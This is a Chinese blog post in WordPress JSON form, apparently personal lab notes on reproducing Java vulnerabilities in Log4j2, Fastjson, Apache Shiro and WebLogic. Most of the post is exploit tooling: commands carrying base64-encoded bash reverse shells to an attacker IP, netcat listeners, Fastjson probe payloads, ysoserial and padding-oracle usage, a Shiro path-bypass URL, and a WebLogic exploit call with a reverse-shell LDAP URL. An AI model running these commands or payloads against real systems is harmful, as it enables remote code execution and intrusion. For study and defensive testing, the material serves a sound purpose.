{"id":153,"date":"2023-07-15T12:31:00","date_gmt":"2023-07-15T04:31:00","guid":{"rendered":"http:\/\/www.redspear.cn\/index.php\/2023\/07\/15\/java%e5%b8%b8%e8%a7%81%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%e4%b8%8e%e5%88%a9%e7%94%a8\/"},"modified":"2026-06-01T19:10:43","modified_gmt":"2026-06-01T11:10:43","slug":"java%e5%b8%b8%e8%a7%81%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%e4%b8%8e%e5%88%a9%e7%94%a8","status":"publish","type":"post","link":"https:\/\/www.redspear.cn\/index.php\/2023\/07\/15\/java%e5%b8%b8%e8%a7%81%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0%e4%b8%8e%e5%88%a9%e7%94%a8\/","title":{"rendered":"Java\u5e38\u89c1\u6f0f\u6d1e\u590d\u73b0\u4e0e\u5229\u7528"},"content":{"rendered":"<h1>Java\u5e38\u89c1\u6f0f\u6d1e\u590d\u73b0\u4e0e\u5229\u7528<\/h1>\n<h2>\u73af\u5883\u642d\u5efa<\/h2>\n<p>\u4f7f\u7528Vulhub\u642d\u5efa\u6f0f\u6d1e\u590d\u73b0\u73af\u5883\uff1a<\/p>\n<pre><code># \u542f\u52a8docker\nservice docker start\n\n# \u8fdb\u5165\u6f0f\u6d1e\u76ee\u5f55\uff0c\u4e0b\u8f7d\u955c\u50cf\u5e76\u542f\u52a8\ndocker-compose up -d\n\n# \u67e5\u770b\u73af\u5883\ndocker ps\n\n# \u8fdb\u5165\u5bb9\u5668\ndocker exec -it \u5bb9\u5668id \/bin\/bash<\/code><\/pre>\n<h2>\u4e00\u3001Log4j2\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff08CVE-2021-44228\uff09<\/h2>\n<h3>\u6f0f\u6d1e\u7b80\u4ecb<\/h3>\n<p>Apache Log4j2\u662f\u4e00\u4e2a\u57fa\u4e8eJava\u7684\u65e5\u5fd7\u8bb0\u5f55\u5de5\u5177\uff0c\u5f53\u524d\u88ab\u5e7f\u6cdb\u5e94\u7528\u4e8e\u4e1a\u52a1\u7cfb\u7edf\u5f00\u53d1\u30022021\u5e7411\u670824\u65e5\uff0c\u963f\u91cc\u4e91\u5b89\u5168\u56e2\u961f\u5411Apache\u5b98\u65b9\u62a5\u544a\u4e86\u8be5\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n<ul>\n<li><strong>\u5f71\u54cd\u7248\u672c\uff1a<\/strong>2.0 &lt;= Apache Log4j2 &lt;= 2.14.1<\/li>\n<li><strong>\u6f0f\u6d1e\u7c7b\u578b\uff1a<\/strong>JNDI\u6ce8\u5165<\/li>\n<\/ul>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>Log4j2\u63d0\u4f9b\u7684lookup\u529f\u80fd\u4e0b\u7684JNDI Lookup\u6a21\u5757\u51fa\u73b0\u95ee\u9898\u3002<strong>\u8f93\u51fa\u65e5\u5fd7\u4fe1\u606f\u65f6\u5141\u8bb8\u5f00\u53d1\u4eba\u5458\u901a\u8fc7\u76f8\u5e94\u7684\u534f\u8bae\uff08LDAP\/RMI\uff09\u53bb\u8bf7\u6c42\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u7684\u8d44\u6e90<\/strong>\u3002\u5f00\u53d1\u4eba\u5458\u5728\u5904\u7406\u6570\u636e\u65f6\uff0c\u6ca1\u6709\u5bf9\u7528\u6237\u8f93\u5165\u7684\u4fe1\u606f\u8fdb\u884c\u5224\u65ad\uff0c\u5bfc\u81f4Log4j2\u8bf7\u6c42\u8fdc\u7a0b\u4e3b\u673a\u4e0a\u542b\u6709\u6076\u610f\u4ee3\u7801\u7684\u8d44\u6e90\u5e76\u6267\u884c\u3002<\/p>\n<h3>JNDI\u7b80\u4ecb<\/h3>\n<ul>\n<li><strong>JNDI\uff08Java Naming and Directory Interface\uff09\uff1a<\/strong>JAVA\u547d\u540d\u548c\u76ee\u5f55\u63a5\u53e3\uff0c\u63d0\u4f9b\u4e00\u4e2a\u76ee\u5f55\u7cfb\u7edf\uff0c\u5c06\u670d\u52a1\u540d\u79f0\u4e0e\u5bf9\u8c61\u5173\u8054\u8d77\u6765<\/li>\n<li><strong>LDAP\uff08\u8f7b\u578b\u76ee\u5f55\u8bbf\u95ee\u534f\u8bae\uff09\uff1a<\/strong>\u5f00\u653e\u7684\u3001\u4e2d\u7acb\u7684\u3001\u5de5\u4e1a\u6807\u51c6\u7684\u5e94\u7528\u534f\u8bae\uff0c\u901a\u8fc7IP\u534f\u8bae\u63d0\u4f9b\u8bbf\u95ee\u63a7\u5236\u548c\u7ef4\u62a4\u5206\u5e03\u5f0f\u4fe1\u606f\u7684\u76ee\u5f55\u4fe1\u606f<\/li>\n<li><strong>RMI\uff08\u8fdc\u7a0b\u65b9\u6cd5\u8c03\u7528\uff09\uff1a<\/strong>\u673a\u5236\u80fd\u591f\u8ba9\u5728\u67d0\u4e2aJava\u865a\u62df\u673a\u4e0a\u7684\u5bf9\u8c61\u8c03\u7528\u53e6\u4e00\u4e2aJava\u865a\u62df\u673a\u7684\u5bf9\u8c61\u7684\u65b9\u6cd5<\/li>\n<\/ul>\n<h3>\u6f0f\u6d1e\u590d\u73b0<\/h3>\n<pre><code># \u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\n\u8bbf\u95ee\uff1a\/solr\/admin\/cores?action=\n\u5229\u7528dnslog\uff1a${jndi:ldap:\/\/dnslog\u5730\u5740}\n\n# \u751f\u6210payload\uff08kali\u653b\u51fb\u673a\uff09\njava -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \\\n  -C \"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjMvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}\" \\\n  -A \"\u653b\u51fb\u673aIP\"\n\n# \u76d1\u542c\u7aef\u53e3\nnc -lvvp \u7aef\u53e3<\/code><\/pre>\n<h2>\u4e8c\u3001Fastjson\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e<\/h2>\n<h3>\u6f0f\u6d1e\u7b80\u4ecb<\/h3>\n<p>Fastjson\u662f\u963f\u91cc\u5df4\u5df4\u7684\u5f00\u6e90JSON\u89e3\u6790\u5e93\uff0c\u652f\u6301\u5c06Java Bean\u5e8f\u5217\u5316\u4e3aJSON\u5b57\u7b26\u4e32\uff0c\u4e5f\u53ef\u4ee5\u4eceJSON\u5b57\u7b26\u4e32\u53cd\u5e8f\u5217\u5316\u5230JavaBean\u3002<\/p>\n<h3>\u6f0f\u6d1e\u539f\u7406<\/h3>\n<p>Fastjson\u5728\u5e8f\u5217\u5316\u4ee5\u53ca\u53cd\u5e8f\u5217\u5316\u7684\u8fc7\u7a0b\u4e2d\u5e76\u6ca1\u6709\u4f7f\u7528Java\u81ea\u5e26\u7684\u5e8f\u5217\u5316\u673a\u5236\uff0c\u800c\u662f\u81ea\u5b9a\u4e49\u4e86\u4e00\u5957\u673a\u5236\uff1a<\/p>\n<ol>\n<li>\u57fa\u4e8e\u5c5e\u6027\uff08setter\/getter\uff09<\/li>\n<li><strong>autotype\u7c7b\u5185\u5bb9\u53ef\u63a7 = \u53ef\u4efb\u610f\u53cd\u5e8f\u5217\u5316\u5185\u5bb9<\/strong><\/li>\n<\/ol>\n<h3>Fastjson 1.2.24\uff08autotype\u5f00\u542f\uff09<\/h3>\n<p><strong>\u6f0f\u6d1e\u63cf\u8ff0\uff1a<\/strong>\u5904\u7406JSON\u5bf9\u8c61\u65f6\uff0c\u672a\u5bf9@type\u5b57\u6bb5\u8fdb\u884c\u5b8c\u6574\u7684\u5b89\u5168\u6027\u9a8c\u8bc1\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u4f20\u5165\u5371\u9669\u7c7b\uff0c\u5e76\u8c03\u7528\u5371\u9669\u7c7b\u8fde\u63a5\u8fdc\u7a0bRMI\u4e3b\u673a\uff0c\u901a\u8fc7\u5176\u4e2d\u7684\u6076\u610f\u7c7b\u6267\u884c\u4ee3\u7801\u3002<\/p>\n<pre><code># \u653b\u51fb\u6d41\u7a0b\n\u5236\u4f5c\u53cd\u5f39Payload \u2192 \u5f00\u542fHTTP\u670d\u52a1 \u2192 \u542f\u52a8LDAP\u670d\u52a1 \u2192 \u76d1\u542c\u7aef\u53e3 \u2192 \u6267\u884cPayload\n\n# \u5229\u7528\u5de5\u5177\u751f\u6210payload\njava -cp fastjson_tool.jar fastjson.HLDAPServer \u653b\u51fb\u673aIP 1111 \\\n  \"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjMvMjIyMjAgMD4mMQ==}|{base64,-d}|{bash,-i}\"<\/code><\/pre>\n<h3>Fastjson 1.2.47\uff08autotype\u9ed8\u8ba4\u5173\u95ed\uff09<\/h3>\n<p>\u9700\u4ece\u7f13\u5b58\u4e2d\u8c03\u7528\u7c7b\u7ed5\u8fc7\uff0cpayload\u793a\u4f8b\uff1a<\/p>\n<pre><code># \u63a2\u9488payload\n{\"a\":{\"@type\":\"java.net.Inet6Address\",\"val\":\"dnslog\"}}\n{\"a\":{\"@type\":\"java.net.URL\",\"val\":\"dnslog\"}}\n\n# \u6293\u5305\u540e\u9700\u66f4\u6539Content-Type\u4e3aapplication\/json<\/code><\/pre>\n<h2>\u4e09\u3001Apache Shiro\u6f0f\u6d1e<\/h2>\n<h3>\u6f0f\u6d1e\u7b80\u4ecb<\/h3>\n<p>Apache Shiro\u662f\u4e00\u4e2a\u5f3a\u5927\u6613\u7528\u7684Java\u5b89\u5168\u6846\u67b6\uff0c\u63d0\u4f9b\u4e86\u8ba4\u8bc1\u3001\u6388\u6743\u3001\u52a0\u5bc6\u548c\u4f1a\u8bdd\u7ba1\u7406\u7b49\u529f\u80fd\u3002<\/p>\n<h3>Shiro 550\uff08CVE-2016-4437\uff09\u2014 \u53cd\u5e8f\u5217\u5316<\/h3>\n<p><strong>\u52a0\u5bc6\u8fc7\u7a0b\uff1a<\/strong>\u7528\u6237\u4fe1\u606f \u2192 \u5e8f\u5217\u5316 \u2192 AES\u52a0\u5bc6\uff08\u9700\u5bc6\u94a5key\uff09 \u2192 Base64\u7f16\u7801 \u2192 RememberMe Cookie<\/p>\n<p><strong>\u89e3\u7801\u8fc7\u7a0b\uff1a<\/strong>Cookie \u2192 Base64\u89e3\u5bc6 \u2192 AES\u89e3\u5bc6 \u2192 \u53cd\u5e8f\u5217\u5316<\/p>\n<p><strong>\u6f0f\u6d1e\u6210\u56e0\uff1a<\/strong>\u5bc6\u94a5\u5199\u6b7b\u5728\u4ee3\u7801\u91cc\uff0c\u653b\u51fb\u8005\u77e5\u9053\u5bc6\u94a5\u503c\u5373\u53ef\u4f2a\u9020Cookie\u3002<\/p>\n<pre><code># \u5224\u65ad\u6f0f\u6d1e\u5b58\u5728\n\u56de\u663e\u5305\u5b58\u5728 rememberMe=deleteMe \u5b57\u6bb5\n\n# \u5229\u7528\u5de5\u5177\nhttps:\/\/github.com\/feihong-cs\/ShiroExploit-Deprecated\nhttps:\/\/github.com\/SummerSec\/ShiroAttack2<\/code><\/pre>\n<h3>Shiro 721 \u2014 Padding Oracle Attack<\/h3>\n<p><strong>\u52a0\u5bc6\u65b9\u5f0f\uff1a<\/strong>AES-CBC\uff0c\u5bc6\u94a5\u968f\u673a\u751f\u6210<\/p>\n<p><strong>\u5229\u7528\u6761\u4ef6\uff1a<\/strong>\u9700\u8981\u767b\u5f55\u6210\u529f\u83b7\u53d6\u5408\u6cd5cookie\uff0c\u5229\u7528Padding Oracle\u653b\u51fb\u751f\u6210\u6076\u610frememberMe\u5b57\u6bb5\u3002<\/p>\n<pre><code># \u751f\u6210payload\njava -jar ysoserial.jar CommonsBeanutils1 \"ping dnslog\" > payload.class\n\n# Padding Oracle\u653b\u51fb\uff08\u8017\u65f6\u8f83\u957f\u7ea61\u5c0f\u65f6\uff09\npython2 shiro_exp.py http:\/\/\u76ee\u6807:\u7aef\u53e3\/\u8def\u5f84 rememberMe\u503c payload.class<\/code><\/pre>\n<h3>\u6743\u9650\u7ed5\u8fc7\uff08CVE-2020-1957\uff09<\/h3>\n<p><strong>\u5f71\u54cd\u7248\u672c\uff1a<\/strong>Apache Shiro &lt; 1.5.3<\/p>\n<pre><code># \u7ed5\u8fc7\u65b9\u5f0f\n\u8bbf\u95ee\uff1a\u76ee\u6807IP:\u7aef\u53e3\/..;\/admin\n\u53ef\u7ed5\u8fc7Shiro\u4e2d\u5bf9\u76ee\u5f55\u7684\u6743\u9650\u9650\u5236\uff0c\u76f4\u63a5\u8fdb\u5165\u540e\u53f0<\/code><\/pre>\n<h2>\u56db\u3001WebLogic\u6f0f\u6d1e<\/h2>\n<h3>WebLogic\u53cd\u5e8f\u5217\u5316\uff08CVE-2019-2890\uff09<\/h3>\n<p><strong>\u6f0f\u6d1e\u63cf\u8ff0\uff1a<\/strong>T3\u534f\u8bae\u5728WebLogic\u63a7\u5236\u53f0\u5f00\u542f\u7684\u60c5\u51b5\u4e0b\u9ed8\u8ba4\u5f00\u542f\uff0c\u7ed5\u8fc7\u4e86\u53cd\u5e8f\u5217\u5316\u9ed1\u540d\u5355\u3002<\/p>\n<pre><code># \u5f71\u54cd\u8303\u56f4\nWebLogic Server 10.3.6.0\nWebLogic Server 12.1.3.0\nWebLogic Server 12.2.1.3\n\n# \u68c0\u6d4b\n\u8bbf\u95ee\uff1a\/_async\/AsyncResponseService\n\u51fa\u73b0 \"welcome to ...\" \u5373\u5b58\u5728\u6f0f\u6d1e<\/code><\/pre>\n<h3>WebLogic RCE\uff08CVE-2023-21839 &amp; CVE-2023-21931\uff09<\/h3>\n<p><strong>\u6f0f\u6d1e\u539f\u7406\uff1a<\/strong>\u5141\u8bb8\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u8fdc\u7a0b\u653b\u51fb\u8005\u901a\u8fc7T3\/IIOP\u534f\u8bae\u7f51\u7edc\u8bbf\u95ee\u5e76\u7834\u574fWebLogic\u670d\u52a1\u5668\u3002<\/p>\n<pre><code># \u5229\u7528\u5de5\u5177\nhttps:\/\/github.com\/4ra1n\/CVE-2023-21839\n\n# \u6267\u884c\u547d\u4ee4\n.\/CVE-2023-21839 -ip \u76ee\u6807IP -port 7001 \\\n  -ldap ldap:\/\/\u653b\u51fb\u673aIP:1389\/Basic\/ReverseShell\/\u53cd\u5f39IP\/\u7aef\u53e3<\/code><\/pre>\n<h2>\u603b\u7ed3<\/h2>\n<p>Java\u6f0f\u6d1e\u590d\u73b0\u9700\u8981\u638c\u63e1\uff1a<\/p>\n<ol>\n<li><strong>Log4j2\uff1a<\/strong>JNDI\u6ce8\u5165\uff0c\u5229\u7528LDAP\/RMI\u534f\u8bae\u52a0\u8f7d\u8fdc\u7a0b\u6076\u610f\u7c7b<\/li>\n<li><strong>Fastjson\uff1a<\/strong>@type\u5b57\u6bb5\u672a\u6821\u9a8c\uff0c\u914d\u5408JNDI\u6ce8\u5165<\/li>\n<li><strong>Shiro\uff1a<\/strong>\u5bc6\u94a5\u6cc4\u9732\u5bfc\u81f4\u53cd\u5e8f\u5217\u5316\uff0cPadding Oracle\u653b\u51fb<\/li>\n<li><strong>WebLogic\uff1a<\/strong>T3\u534f\u8bae\u53cd\u5e8f\u5217\u5316\uff0c\u63a7\u5236\u53f0\u672a\u6388\u6743\u8bbf\u95ee<\/li>\n<\/ol>\n<blockquote>\n<p>\u672c\u6587\u4e3a\u4e2a\u4eba\u5b66\u4e60\u7b14\u8bb0\uff0c\u6f0f\u6d1e\u590d\u73b0\u5747\u5728\u672c\u5730\u642d\u5efa\u7684\u9776\u573a\u73af\u5883\u4e2d\u8fdb\u884c\u3002<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>Java\u5e38\u89c1\u6f0f\u6d1e\u590d\u73b0\u4e0e\u5229\u7528 \u73af\u5883\u642d\u5efa \u4f7f\u7528Vulhub\u642d\u5efa\u6f0f\u6d1e\u590d\u73b0\u73af\u5883\uff1a # \u542f\u52a8docker service &hellip; <\/p>\n","protected":false},"author":3,"featured_media":178,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-153","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-webtob10"],"_links":{"self":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/comments?post=153"}],"version-history":[{"count":1,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/153\/revisions"}],"predecessor-version":[{"id":162,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/posts\/153\/revisions\/162"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media\/178"}],"wp:attachment":[{"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/media?parent=153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/categories?post=153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.redspear.cn\/index.php\/wp-json\/wp\/v2\/tags?post=153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}